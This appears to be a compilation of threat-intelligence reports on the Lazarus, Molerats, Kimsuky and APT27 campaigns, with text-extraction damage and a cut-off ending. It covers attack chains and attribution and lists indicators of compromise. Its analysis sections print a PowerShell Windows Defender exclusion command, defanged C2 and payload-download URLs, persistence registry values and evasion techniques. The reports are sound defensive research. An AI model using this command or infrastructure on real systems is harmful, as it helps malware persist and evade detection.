campaign were published in this Korean blog, however they did not perform the threat
attribution.
Even though the TTPs of this threat actor evolved over time, there were critical parts of their
infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the
threat attribution with a high-confidence level. Our research led us to the discovery of
command-and-control (C2) domains even before they were used in active attacks by the
threat actor. This proactive discovery of attacker infrastructure helps us in preempting
the attacks.
In this blog, we will share the technical details of the attack chains, and will explain how we
correlated this threat actor to Lazarus.
We would like to thank Dropbox for their quick action in taking down the malicious
accounts used by the threat actor, and for also sharing valuable threat intelligence that
helped us with threat attribution.
Attack chains
This threat actor has frequently updated its attack chains over the last two months. We
identified three unique attack chains used by the threat actor to distribute the malware
in emails:
Figure 1: Attack flow
Spear phishing emails distribution
1/11
During our analysis, we discovered that at least one of the IP addresses (222.112.127[.]9)
used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used
to send spear phishing emails to the victims in South Korea.
Below are examples of two such emails that were sent from the IP address 222.112.127[.]9.
Note: This IP address is related to KT Corporation, a Korean telecom provider. Multiple
IP addresses related to KT Corporation were abused by this threat actor during the current
attack.
Email #1
In this email, a macro-based document was sent to the victim.
Figure 2: Email sent to the victim
Figure 3 below shows that the decoy content of the document is related to Menlo
Security company. This is consistent with other decoy contents used by the threat actor. For
instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy
content used was related to Ahnlab - a Korea-based computer security company. This is
done for the purpose of social engineering.
Figure 3: Decoy content
Email #2
In this email, a password protected macro-based XLS file was sent to the victim. The
password for the file was mentioned in the email body.
The theme of the file is related to cryptocurrency investments. This theme is consistent with
other documents sent in this campaign as well. Lazarus Group is known to have a keen
interest in attacking cryptocurrency users, asset managers, and companies.
Figure 4: Email sent to the victim
Figure 5 below shows the sender's IP address in the email headers as indicated by the
X-Originating-IP field.
Figure 5: Email header showing originating IP, Sender and Recipient
Threat attribution
In order to perform the threat actor attribution, we did a correlation of the below data points.
1. C2 IP addresses
2. Attacker-controlled Dropbox accounts
 registrant email addresses
2/11
3. C2 domains
 registrant email addresses
4. Passive DNS data
5. Sender's email address in credential phishing attacks
6. Sender's IP address in credential phishing attacks
Note: OSINT information related to the above data points was also used in correlation
analysis.
# Correlating different attacks to same threat actor
As described in the network communication section later in the blog, the Stage-3 binary
initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is
used to perform further network communication.
In collaboration with Dropbox, we were able to discover the email addresses associated with
the attacker-controlled Dropbox accounts used during this attack. One such email addresses
was: peterstewart0326@gmail[.]com
This same email address was recently mentioned in Prevailion's blog. It was linked to several
domains which were used during Naver-themed phishing activity.
Also, according to this blog from 2021, this same email address was also used to send Naverthemed credential phishing attack emails to users in South Korea.
Correlating the above data points, we can say with a high confidence level that the attack
chains we have described in this blog are also related to the same threat actor.
# Attribution to Lazarus APT
According to the threat infrastructure mapping done in Prevailion blog, the IP address
23.81.246[.]131 belongs to one of the critical nodes used by the threat actor during Naverthemed phishing activity. One of the domains linked to this IP address was
navercorpservice[.]com. If we check the passive DNS data for this domain, we find two
other IP address resolutions: 172.93.201[.]253 in November 2021 and 45.147.231[.]213
in September 2021.
The IP address 172.93.201[.]253 was recently used to host the domain disneycareers[.]net which was attributed to Lazarus APT in Google TAG blog.
Further, what caught our attention was the IP address 45.147.231[.]213. This IP address
was earlier used by North Korea-based APT threat actor. Recently, we also had a new domain
resolution alert for this IP address as part of our C2 infrastructure tracking. If we pivot on the
3/11
passive DNS data for this IP address, we can see that the domain:
www.devguardmap[.]org was hosted on this IP address in Jan 2021 which was attributed
to Lazarus APT as per this tweet from ESET and Google TAG blog.
Correlating all the above data points, we reached the conclusion that the attack-chains we
discovered are related to Lazarus threat actor. To the best of our knowledge, at the time of
writing, this threat actor attribution has not been publicly documented yet.
Technical analysis
For the purpose of technical analysis we will consider the attack chain starting with a
Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074.
[+] Stage 1: Compiled HTML file
The CHM file contains a malicious binary embedded inside it. At runtime, this will be
dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe
and executed.
The code responsible for extracting, dropping and executing the binary is present inside
1hh.html as shown below.
Figure 6: HTML code dropping and executing the binary
[+] Stage 2: Dropper
The dropper on execution performs the following operations:
1. Detects sleep patching to identify controlled execution environment such as Sandbox
execution
2. Checks the name of all the running processes and terminates if it finds a process running
with the name "v3l4sp.exe". This process name corresponds to the security software
developed by Ahnlab (a popular and frequently used security vendor in South Korea).
3. Creates file in the path "C:\ProgramData\Intel\IntelRST.exe"
4. XOR decodes the embedded PE from a hardcoded address
5. Writes the decoded PE to the file created in Step-3
6. Modifies PEB to masquerade itself as explorer.exe
7. Executes IntelRST.exe
8. Creates RUN registry entry for persistence
4/11
Value: IntelCUI
Data: C:\ProgramData\Intel\IntelRST.exe
[+] Stage 3: Dropped binary
The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary. On execution it
performs the following operations:
1. Similar to the dropper binary it tries to detect sleep patching to identify controlled
execution environment
2. Collects machine information and stores using the specified format which is later
exfiltrated and used as machine identifier.
String format:
[decoded_string]_[username]_[volume_serial_number_post_8_bytes]
decoded_string: (encoded string) ^ (key) [encoded_string_byte_offset%keySize]
username: GetUserName()
volume_serial _number: Using DeviceIoControl with
IOCTL_STORAGE_QUERY_PROPERTY (0x2d1400)
3. Checks name of all the running processes and terminates if there is some process running
with the name "v3l4sp.exe" or "AYAgent.aye" or "IntelRST.exe"
4. If running with administrator privileges then it executes a PowerShell command using
cmd.exe to add WindowsDefender exclusion.
PowerShell command: Powershell -Command Add-MpPreference -ExclusionPath
"C:\ProgramData\Intel\IntelRST.exe
5. Finally it starts the network communication
[+] Network communication
The network communication occurs in the following sequence:
1. Send a GET request to the URL
"https://dl.dropboxusercontent.com/s/k288s9tu2o53v41/zs_url.txt?dl=0".
2. Query the file size and send another network request to read the file content.
5/11
Note: The file content points to the C2 domain to be used for rest of the network
communication.
3. Using the extracted C2 domain, send a POST request to the path "/post.php" and exfiltrate
collected user information.
Exfiltrated user information format:
uid={string_generated_in_Step-2_of_Stage3_binary}&avtype=%d&majorv=%d&minorv=%d
4. Finally send a GET request to the path "/{decoded_string_from_step-2_of_Stage3_binary}/{formated_string_from_step-2_of_Stage-3_binary}/fecommand.acm"
Note: At the time of analysis we didn't get any active response from the C2 server for the
above network request.
Zscaler Cloud Sandbox detection
# Document detection
# Dropper detection
Indicators of compromise
[+] Hashes
Description
37505b6ff02a679e70885ccd60c13f3b
Document
c156572dd81c3b0072f62484e90e47a0
d7f6b09775b8d90d79404eda715461b7
Document (Template based)
a0f565f7f579f0d397a42db5a95d4ae8
e2e5644e77e75e422bde075f409d882e
37b7415442ab8ca01e08b2d7bfe809e2
d19dd02cf375d0d03f557556d5207061
e3ffda448df223b240a20dae41e20cef
6/11
e732bc87033a935bd2d3d56c7772641b
825730d9dd22dbae7f2bd89131466415
c32f40f304777df7cfab428a54bb818b
b587851d8a42fc8c23f638bbc2eb866b
4382384feb5ad6b574f68e431006905e
493f59b6933e59029bf3106fd4a2998d
bdfb5071f5374f5c0a3714464b1fa5e6
1769a818548a0b52c7be2a0a213a9384
7b07cd6bb6b5d4ed6a2892a738fe892b
9775ef6514916977d73e39a6b09029bc
44be20c67a80af8066f9401c5bee43cb
15a7125fe9e629122e1d1389062af712
1fd8fef169bf48cfdcf506151264128c
9ad00e513364e9f44f1b6712907cba9b
1a536709554860fcc2c147374556205d
a2aca7b66f678b85fc7b4015af21c5ee
bd416ea51f94d815b5b5b66861cbdcc5
ecb2d07ede5a401c83a5fca8e00fa37a
db0483aced77a7db130a6100aef67967
c0b24dc8f53227ce0c64439b302ca930
bb9ee3a6504fbf6a5486af04dbbb5da5
ce00749c908de017010055a83ac0654f
2677f9871cb340750e582cb677d40e81
7/11
90f2b7845c203035f0d7096aa28dda83
Template
044e701e8d288075b0fb6cd118aa94db
556abc167348fe96abfbf5079c3ad488
0ef32b48f6ca3a1a22ab87058b3d8aa0
4548c7f157d300ec39b1821db4daa970
430d944786e05042cdbe1d795ded2199
96d86472ff283f6959b7a779f004dfba
137910039cb94c0301154f3d1ec9ba29
728b908e90930c73edeb1bf58b6a3a64
1559aeb8e464759247e4588cb6a09877
6df608342938f0d30a058c48bb9d8d4d
78aa7e785a96f2826ee09a1aa9ab776e
0c2dde41d508941cf215fe8f1f7e03a7
783e7c3ba39daa28301b841785794d76
a225b7aff737dea737cd969fb307df23
210db61d1b11c1d233fd8a0645946074
Compiled HTML (CHM)
e25ac08833416b8c7191639b60edfa21
114f22f3dd6928bed5c779fa918a8f11
[+] File names
Original Name
Translated Name
8/11
 (50).chm
Guide to confirmed cases and living with them
(50).chm
_1900002.chm
Meta Kong's Guide_190002.chm
NFT Metakongz Minting.chm
202204_
.docx
NFT Metakongz Minting.chm
202204_Cryptocurrency_Investment Planning.docx
incident report.docx
.docx
Masanhappo-gu 40 billion loan request.docx
 400
.docx
4 billion_fund investment contract.docx
.docx
Emergency Disaster Subsidy Application Form.docx
.docx
).docx
Daehan Mine Development Co., Ltd. docx
cryptos_login.docx
.docx
[+] C2 domains
naveicoipg[.]online
naveicoipf[.]online
naveicoipc[.]tech
naveicoipa[.]tech
naveicoipe[.]tech
naveicoipd[.]tech
naveicoipep[.]tech
naveicoiph[.]online
naveicoipg[.]tech
naveicoipf[.]tech
naveicoipb[.]tech
naveicoipj[.]online
naveicoipi[.]online
naveicoipe[.]online
naveicoipd[.]online
naveicoipc[.]online
naveicoipb[.]online
naveicoipa[.]online
naveicoipc[.]com
naveicoipa[.]com
naveicoip[.]com
9/11
naveicoiph[.]tech
naveicoip[.]tech
naveicorp[.]com
copycatfrag[.]store
knightsfrag[.]store
parfumeparlour[.]store
# New domain resolutions for the IP 23.81.246[.]131
navernidb[.]link
navermailteam[.]online
navermailservice[.]com
mailservicecorp[.]online
mailhelp[.]online
mailcustomerservice[.]site
cloudcentre[.]xyz
naverservice[.]host
mailserviceteam[.]email
navermcorp[.]com
naverserviceteam[.]com
naversecurityteam[.]com
navermanageteam[.]com
navermailmanage[.]com
navercorpservice[.]com
navermailcorp[.]com
naversecurityservice[.]online
navermailservice[.]online
navercorp[.]live
navercscorp[.]com
navermanage[.]live
navermanage[.]com
navernidmail[.]com
noreplya[.]xyz
[+] Emails
# Dropbox accounts associated email addresses
peterstewart0326@gmail[.]com
kimkl0222@hotmail[.]com
laris081007@hotmail[.]com
[+] PDB path
10/11
D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb
11/11
New espionage attack by Molerats APT targeting users in
the Middle East
zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
Introduction
In December 2021, the ThreatLabz research team identified several macro-based MS office
files uploaded from Middle Eastern countries such as Jordan to OSINT sources such as VT.
These files contained decoy themes related to geo-political conflicts between Israel and
Palestine. Such themes have been used in previous attack campaigns waged by the Molerats
APT.
During our investigation we discovered that the campaign has been active since July 2021.
The attackers only switched the distribution method in December 2021 with minor changes
in the .NET backdoor. In this blog, we will share complete technical analysis of the attack
chain, the C2 infrastructure, threat attribution, and data exfiltration.
The targets in this campaign were chosen specifically by the threat actor and they included
critical members of banking sector in Palestine, people related to Palestinian political
parties, as well as human rights activists and journalists in Turkey.
ThreatLabz observed several similarities in the C2 communication and .NET payload
between this campaign and the previous campaigns attributed to the Molerats APT group.
Additionally, we discovered multiple samples that we suspect are related to Spark backdoor.
We have not added the analysis of these samples in this blog, but they were all configured
with the same C2 server, which we have included in the IOCs section.
1/22
Threat attribution
We have attributed the attack to Molerats APT group based on following observations:
1. Use of open-source as well as commercial packers for the backdoor (ConfuserEx,
Themida)
2. Targeting middle-east region
3. Using Dropbox API for entire C2 communication
4. Using RAR files for backdoor delivery as well as in later stages
5. Using other legit cloud hosting services like Google Drive to host the payloads
6. Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure
with domains used by Molerats APT group in the past
7. Overlap of Passive DNS resolution of domain observed on current attack infrastructure
with the IP used by Molerats APT group in the past
Attack flow
Figure 1 below illustrates the new attack chain.
Figure 1: Attack chain
Decoy content
MD5: 46e03f21a95afa321b88e44e7e399ec3
2/22
Note: Please refer Appendix section for additional decoy contents
3/22
Technical analysis
For the purpose of technical analysis we will use the document with MD5:
46e03f21a95afa321b88e44e7e399ec3
[+] Stage-1: Macro code
The macro code is not complex or obfuscated. It simply executes a command using cmd.exe
which in turn performs the following operations:
1. Executes a PowerShell command to download and drop the Stage-2 payload from the
URL 
http://45.63.49[.]202/document.html
 to the path
C:\ProgramData\document.htm
2. Renames document.htm to servicehost.exe
3. Executes servicehost.exe
Figure 2 below shows the relevant macro code
Figure 2: Macro code
[+] Stage-2: servicehost.exe
# Static analysis
Based on static analysis, we can see that the binary is .NET-based and is obfuscated using
the ConfuserEx packer. It masquerades itself as a WinRAR application by using the icon and
other resources (which also contains static strings) from the legit WinRAR application.
Figure 3: Shows the binary icon and other static information
# Dynamic analysis
The main function of the binary is the standard ConfuserEx function which is responsible
for loading the runtime module "koi'' that is stored in encrypted form using a byte array.
Once the module is loaded, the main function resolves the module's entry point function
using the metadata token and invokes it by providing required parameters.
Figure 4: Code snippet loading the runtime module and invoking it
s entry point function
4/22
The runtime module ("koi") on analysis is found to be a backdoor. Before calling the main
function of the module, the code from within the constructor is called which creates a new
thread that regularly monitors the presence of a debugger.
5/22
Figure 5: Code snippet of debugger monitoring function
Once the debugger monitor thread is created we get the code execution flow to the main
function of the module which ultimately leads to the backdoor execution. Within the main
function the backdoor performs following operations:
1. Collects the machine manufacture and machine model information using WMI which is
used for execution environment checks and is later exfiltrated to C2 server.
2. Checks if it should execute in the current execution environment.
3. Creates a mutex with the name of executing binary.
4. Checks if the mutex is created successfully.
5. Determines if it is executed for the first time using the registry key value
"HKCU/Software/{name_of_executing_binary}/{name_of_executing_binary}".
6. If the registry key doesn't exist, the code flow goes via a mouse check function which
executes the code further only if it detects a change in either of the mouse cursor
coordinates. In the end, the mouse check function also creates the same registry key.
Figure 6: Main function of backdoor
[+] Network communication
From the main function the final code flow reaches the function which starts the network
communication. Since the backdoor uses Dropbox API for entire C2 communication and
data exfiltration, it first extracts the primary Dropbox account token which is stored in
encoded form within the binary. Figure 7 below describes the format and shows the encoded
string that contains the Dropbox account token.
Figure 7: Encoded string
Executing further the backdoor collects the following information from victim machine:
6/22
1. Machine IP address: By making a network request to 
https://api.ipify.org
2. UserName: From the environment variable
3. HostName: Using the API call Dns.GetHostName()
The collected information is then processed and stored inside a variable named
UserInfo
 by performing following operations:
1. Concatenation (IP+UserName+HostName)
2. Base64 string encode
3. Substitution (Substitute 
 with 
4. String reverse
Next the backdoor sends following network requests in the specified sequence using the
Dropbox API and correspondingly performs any required operations:
1. Create Folder:
7/22
Create a folder inside the root directory where the folder name is the value of UserInfo
variable
Note: The created folder acts as a unique identifier for a machine considering the fact that
the machine IP remains static.
2. Create File:
Create a file inside the newly created folder where the file name is the Machine IP and the
data it stores is the information collected in Step-1 of the main function.
3. List Content:
List the content of victim specific folder and delete files where the file name length is 15
4. List Content:
List the content of root directory (which is attacker controlled) and extract the following
information:
a) File name of any hosted RAR archive
b) File name of any hosted exe (Which is found to be the legitimate RAR command-line
utility and is used to extract the downloaded RAR archive in case the machine doesn't
already have any RAR archive supporting application)
c) File name of any hosted pdf or doc file (Used as decoy document)
d) File name of any non specific file type (Based on our analysis it contains the secondary
Dropbox account token that is used for file exfiltration from victim machine)
Note: The above extracted information is stored locally and is used wherever required.
Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or
doc file and then calls two other functions where the first function creates a thread that
continuously communicates with the Dropbox account to fetch and execute the C2
commands while the second function creates a thread that downloads and executes the RAR
archive using the information extracted earlier.
[+] C2 Commands
The backdoor creates a file inside the victim specific folder on Dropbox which is used to
fetch C2 commands. The file name is a random string of 15 characters.
The C2 commands have following format:
[command code]=[Command arguments separated using 
8/22
The backdoor uses command codes instead of plaintext strings to determine the action to
be performed.
Table below summarizes the supported command codes:
Command code
Action performed
Run specified command
Take snapshot and upload
Send list of files from specified directories
Upload files
Download and execute the RAR archive
C2 infrastructure analysis
While monitoring the IPs used during the current attack we observed the domain
"msupdata.com" started to resolve to the IP 45.63.49[.]202 from 27-12-2021. We
found two Historical SSL Certificates associated with this domain. Pivoting on the SSL
Certificate with thumbprint "ec5e468fbf2483cab74d13e5ff6791522fa1081b" we
found domains like "sognostudio.com", "smartweb9.com" and others which were all
attributed to Molerats APT group during past attacks.
Additionally, the subdomain 
www.msupdata.com
 also has a Passive DNS resolution to
IP 185.244.39[.]165 which is also associated with Molerats APT group in the past.
Note: We didn't observe any activity related to the domain "msupdata.com" or it
subdomain 
www.msupdata.com
 until this blog release.
Pivot on the Dropbox accounts
Based on our analysis at least five Dropbox accounts are being used by the attacker. While
investigating the Dropbox accounts we found that the attacker used following information
during account registration.
Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats
APT group.
Account 1:
9/22
Name: Adham gherbawi
Country: NL (Netherlands)
Email: adham.gharbawi@gmail[.]com
Account 2:
Name: alwatan voice
Country: NL (Netherlands)
Email: alwatanvoiceoffice@gmail[.]com
Account 3:
Name: adham gharbawi
Country: NL (Netherlands)
Email: adham.ghar.bawi@gmail[.]com
Account 4:
Name: pal leae
Country: PS (Palestine)
Email: palinfoarabic@gmail[.]com
Account 5:
Name: pla inod
Country: PS (Palestine)
Email: palinfo.arabic@gmail[.]com
Also, while analyzing the exfiltrated data from Dropbox accounts we found a screenshot of
the attacker machine which was likely uploaded while the attacker was testing the malware.
We correlated a number of artifacts and patterns with the file names visible from the
snapshot to those used during the real attack. Moreover, from the snapshot the attacker
seems to be using a simple GUI application to sync with the Dropbox account and display
the victims list. In the victims list, the user name "mijda" is also present which matches
with the name of document creator 
mij daf
 for all the documents we found during this
attack.
Figure 8: Screenshot of attacker machine
Additionally, we discovered that the attacker machine was configured with the IP
185.244.39[.]105 which is located in the Netherlands and is associated with the VPS
service provider "SKB Enterprise B.V.". Interestingly, this IP (185.244.39[.]105) is
also located in the same subnet as the IP 185.244.39[.]165 which was used for C2
communication and domain hosting in the past by Molerats APT group.
10/22
Pivot on Google drive link
Since the attacker also used Google Drive to host the payload in one of the attack chains, we
tried to identify the associated Gmail account. Based on our analysis the attacker used
following information for Gmail account:
Account name: Faten Issa
Email: issafaten584@gmail[.]com
Old attack chain
As per our analysis the old attack chain was used from 13th July 2021(Start of campaign) to
13th Dec 2021.
Figure 9 below illustrates the old attack chain.
Figure 9: Attack chain
The major difference between the new attack chain and the old attack chain is seen in the
backdoor delivery. Although we are not sure how these RAR/ZIP files were delivered but
considering the past attacks they were likely delivered using Phishing PDFs. Additionally,
we found a minor variation in the way the backdoor extracted the primary Dropbox account
token. In the old attack chain the backdoor fetched the encoded string containing the
11/22
primary Dropbox account token from attacker-hosted content on 
justpaste.it
. Figure 10
below shows the attacker-hosted encoded string that contains the Dropbox account token
and also describes the corresponding format.
Figure 10: Attacker-hosted encoded string
Zscaler Sandbox Detection
[+] Detection of the macro-based Document
[+] Detection of the macro-based PowerPoint file
[+] Detection of the payload
In addition to sandbox detections, Zscaler
s multilayered cloud security platform detects
indicators related to Molerats APT group at various levels.
12/22
Win32.Trojan.MoleratsAPT
PDF.Trojan.MoleRatsAPT
13/22
MITRE ATT&CK TTP Mapping
Tactic
Technique
T1566.001
Spear phishing
Attachment
Uses doc based attachments with VBA macro
T1204.002
User Execution:
Malicious File
User opens the document file and enables the VBA
macro
T1059.001
Command and
Scripting interpreter:
PowerShell
VBA macro launches PowerShell to download and
execute the payload
T1140
Deobfuscate/Decode
Files or Information
Strings and other data are obfuscated in the payload
T1082
System Information
Discovery
Sends processor architecture and computer name
T1083
File and Directory
Discovery
Upload file from the victim machine
14/22
T1005
Data from Local
System
Upload file from victim machine
T1567.002
Exfiltration to Cloud
Storage
Data is uploaded to Dropbox via api
T1113
Screen capture
The C2 command code "2" corresponds to taking a
screenshot and uploading to attacker-controlled
Dropbox account
Indicators of compromise
[+] Hashes
File Name
Description
46e03f21a95afa321b88e44e7e399ec3
15-12.doc
Document
5c87b653db4cc731651526f9f0d52dbb
11-12.docx
Document
105885d14653932ff6b155d0ed64f926
report2.dotm
Template
601107fc8fef440defd922f00589e2e9
4-1.doc
Document
9939bf80b7bc586776e45e848ec41946
19-12.pptm
054e18a1aab1249f06a4f3e661e3f38a
.pptm
e72d18b78362e068d0f3afa040df6a4c
wanted persons.ppt
ebc98d9c96065c8f1c0f4ce445bf507b
servicehost.exe
(Confuser
packed)
c7271b91d190a730864cd149414e8c43
su.exe
(Themida
packed)
15/22
00d7f155f1a9b29be2c872c6cad40026
servicehost.exe
(Confuser
packed)
2dc3ef988adca0ed20650c45735d4160
cairo hamas office.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
b9ad53066ab218e40d61b299bd2175ba
details.rar
f054f1ccc2885b45a71a1bcd0dd711be
.exe
(Themida
packed)
b7373b976bbdc5356bb89e2cba1540cb
emergency.rar
a52f1574e4ee4483479e9356f96ee5e3
2021-09-16 
.exe
(Confuser
packed)
8884b0d29a15c1b6244a6a9ae69afa16
excelservice.rar
270ee9d4d22ca039539c00565b20d2e7
idf.rar
8debf9b41ec41b9ff493d5668edbb922
Ministry of the Interior
statement 26-9-2021.exe
(Themida
packed)
d56a4865836961b592bf4a7addf7a414
images.rar
a52f1574e4ee4483479e9356f96ee5e3
100 
.exe
(Confuser
packed)
59368e712e0ac681060780e9caa672a6
meeting.rar
16/22
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
99fed519715b3de0af954740a2f4d183
ministry of the interior 23-92021.rar
8debf9b41ec41b9ff493d5668edbb922
Ministry of the Interior
statement 23-9-2021.exe
(Themida
packed)
bd14674edb9634daf221606f395b1e1d
moi.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
04d17caf8be87e68c266c34c5bd99f48
namso.rar
c7271b91d190a730864cd149414e8c43
namso.exe
(Themida
packed)
217943eb23563fa3fff766c5ec538fa4
rafah passengers.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
fef0ec9054b8eff678d3556ec38764a6
sa.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
32cc7dd93598684010f985d1f1cea7fd
shahid.rar
a52f1574e4ee4483479e9356f96ee5e3
100 
.exe
(Confuser
packed)
17/22
1dc3711272f8e9a6876a7bccbfd687a8
sudan details.rar
f054f1ccc2885b45a71a1bcd0dd711be
.exe
(Themida
packed)
da1d640dfcb2cd3e0ab317aa1e89b22a
tawjihiexam.rar
31d07f99c865ffe1ec14c4afa98208ad
Israel-Hamas Prisoner
Exchange Progress.exe
(Confuser
packed)
b5e0eb9ca066f5d97752edd78e2d35e7
.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
b65d62fcb1e8f7f06017f5f9d65e30e3
.rar
a52f1574e4ee4483479e9356f96ee5e3
.exe
(Confuser
packed)
933ffc08bcf8152f4b2eeb173b4a1e26
israelian attacks.zip
4ae0048f67e878fcedfaff339fab4fe3
Israelians Attacks during the
years 2020 to 2021.exe
(Confuser
packed)
1478906992cb2a8ddd42541654e9f1ac
patient satisfaction survey.zip
31d07f99c865ffe1ec14c4afa98208ad
Patient Satisfaction Survey
Patient Satisfaction Survey.exe
(Confuser
packed)
33b4238e283b4f6100344f9d73fcc9ba
.zip
18/22
4ae0048f67e878fcedfaff339fab4fe3
.exe
(Confuser
packed)
1f8178f9d82ac6045b6c7429f363d1c5
.zip
4ae0048f67e878fcedfaff339fab4fe3
.exe
(Confuser
packed)
c7d19e496bcd81c4d16278a398864d60
.zip
4ae0048f67e878fcedfaff339fab4fe3
.exe
(Confuser
packed)
1bae258e219c69bb48c46b5a5b7865f4
.zip
4ae0048f67e878fcedfaff339fab4fe3
.exe
(Confuser
packed)
547334e75ed7d4eea2953675b07986b4
.zip
4ae0048f67e878fcedfaff339fab4fe3
.exe
(Confuser
packed)
[+] Download URLs
Component
Template
https://drive.google[.]com/uc?export=download&id=1xwb99Q7duf6q7a7be44pCk3dU9KwXam
19/22
Component
http://45.63.49[.]202/document.html
http://23.94.218[.]221/excelservice.html
http://45.63.49[.]202/doc.html
http://45.63.49[.]202/gabha.html
[+] Molerats associated IPs
45.63.49[.]202
23.94.218[.]221
185.244.39[.]165
[+] Molerats associated domains
msupdata[.]com
www.msupdate[.]com
# Spark backdoor
bundanesia[.]com
[+] File system artifacts
# Dropped binary
C:\ProgramData\servicehost.exe
{current_working_directory}\su.exe
Appendix
MD5: 5c87b653db4cc731651526f9f0d52dbb
MD5: 105885d14653932ff6b155d0ed64f926
MD5: e72d18b78362e068d0f3afa040df6a4c
20/22
21/22
22/22
North Korea-linked APT attack found disguised as a
digital asset wallet service customer center!
blog.alyac.co.kr/4501
February 16, 2022
Detailed content
body title
North Korea-linked APT attack found disguised as a digital asset wallet service customer
center!
Malware analysis report
by pill 4 2022. 2. 16. 14:55
main text
Hello? This is the East Security Security Response Center (ESRC).
A malicious file disguised as the Klip customer center was recently discovered, and users
need to be extra careful.
Klip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary
of Kakao. The file found this time was distributed under the file name '[Klip Customer
Center] Mistransmission_Token Resolution_Guide.doc'.
[Figure 1] Screen inducing users to click the content use button
The file contains malicious macros, convincing users to click the Enable Content button,
claiming that the document is protected.
If the user clicks the use content button, it is written like a file sent from the actual Klip
customer center, causing the user to mistake it for a real normal file.
[Figure 2] Klip customer center camouflage file
However, that file contains the macro code, and the macro runs in the background.
[Figure 3] Macros included in malicious files
When the macro is executed, the file is dropped in xml format, and the dropped file is
automatically executed and then attempts to connect to the C&C.
[Figure 4] xml file dropped after macro execution
However, at the time of analysis, access to the C&C server was not possible, so further
analysis was not possible.
This threat has been identified as an extension of the 'Smoke Screen' campaign, which is one
of the three major threats of 'Thallium (also known as Kimsuky)'.
hxxp://asenal.medianewsonline[.]com/good/luck/flavor/list.php?query=1
hxxp://asenal.medianewsonline[.]com/good/luck/flavor/show.php
Currently, the pill is being detected as Trojan.Downloader.DOC.Gen .
Attributionnon-profitchange prohibited
TLP:WHITE
ln, 26. Januar 2022
BfV Cyber-Brief
Nr. 01/2022
- Hinweis auf aktuelle Angriffskampagne -
Kontakt:
Bundesamt f
r Verfassungsschutz
Cyberabwehr
0228-99-792-2600
 maxsim/Fotolia.com
TLP:WHITE
BfV Cyber-Brief
Aktuelle Cyberangriffskampagne gegen deutsche Wirtschaftsunternehmen durch die Gruppierung APT27
Aktuelle Erkenntnisse deuten auf anhaltende Cyberangriffsaktivit
ten der Gruppierung APT27
gegen Wirtschaftsunternehmen in Deutschland hin.
Sachverhalt
Dem Bundesamt f
r Verfassungsschutz (BfV) liegen Erkenntnisse 
ber eine anhaltende Cyberspionagekampagne durch die Cyberangriffsgruppierung APT27 unter Einsatz der Schadsoftwarevariante
HYPERBRO gegen deutsche Wirtschaftsunternehmen vor. Nach aktuellen Erkenntnissen nutzen die
Angreifer seit M
rz 2021 Schwachstellen in Microsoft Exchange sowie in der Software Zoho AdSelf
Service Plus1 als Einfallstor f
r die Angriffe aus.
Es kann nicht ausgeschlossen werden, dass die Akteure neben dem Diebstahl von Gesch
ftsgeheimnissen und geistigem Eigentum versuchen, die Netzwerke der (Unternehmens-)Kunden beziehungsweise von Dienstleistern zus
tzlich zu infiltrieren (Supply-Chain-Angriff).
Bei dem Programm handelt es sich um ein webbasierte Software zur Verwaltung von Zugangsdaten von Cloud- und Windows Active Directory-Konten
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
TLP:WHITE
BfV Cyber-Brief
Hintergrundinformationen
Die Cyberspionagegruppierung APT27 ist seit mindestens 2010 aktiv. Gegenw
rtig beobachtet das
BfV eine Zunahme von Angriffen gegen deutsche Ziele durch die Gruppierung unter Verwendung
der HYPERBRO-Schadsoftware.
Das BfV geht von einer anhaltenden Angriffswelle durch den Akteur auf die deutsche Wirtschaft aus
und ver
ffentlicht daher die angeh
ngten Detektionsregeln und technische Indikatoren (Indicators
of Compromise), um Wirtschaftsunternehmen die Identifikation bestehender Infektionen mit den
derzeit kursierenden und m
glicherweise neuen Versionen der Schadsoftware zu erm
glichen. Au
erdem wird im Folgenden die Funktionsweise von HYPERBRO am Beispiel einer aktuellen Variante
dargestellt.
Angriffsvektor
Die Angreifer verf
gten bereits vor 
ffentlichem Bekanntwerden 
ber Kenntnis der Schwachstellen in der Software Zoho Manage Engine ADSelfService Plus (CVE-2021-40539) sowie in Microsoft
Exchange Server 2013, 2016 und 2019 (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 und
CVE-2021-27065), die zur Auslieferung von HYPERBRO verwendet werden.
Technische Analyse
Bei HYPERBRO handelt es sich um ein Remote-Access-Tool (RAT), das in der Regel aus den folgenden Komponenten besteht (siehe Abb. 1):
Abbildung 1: Komponenten von HYPERBRO
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
TLP:WHITE
BfV Cyber-Brief
Legitime Executable2 (msmpeng.exe oder vfhost.exe) - in diesem Fall die legitime Software CyberArk Viewfinity, die mit einem validen, aber abgelaufenem Zertifikat signiert ist.
Maliz
se DLL3 (vftrace.dll), die durch den legitimen Loader per DLL-Hijacking4 Methode geladen wird.
Malware Payload (thumb.dat) im Bin
rformat ausf
hrbarer Programme (PE-Dateien), der ausf
hrbaren Shellcode, eine malizi
se DLL sowie Informationen 
ber die Angriffsinfrastruktur
(C2-Adressen) beinhaltet.
Bei Ausf
hrung des Payloads, wird weiterhin eine Malware Konfigurationsdatei (config.ini) als
Datei im Ordner abgelegt.
Installationsprozess
Der Installationsprozess von HYPERBRO l
uft wie folgt ab (siehe Abb. 2):
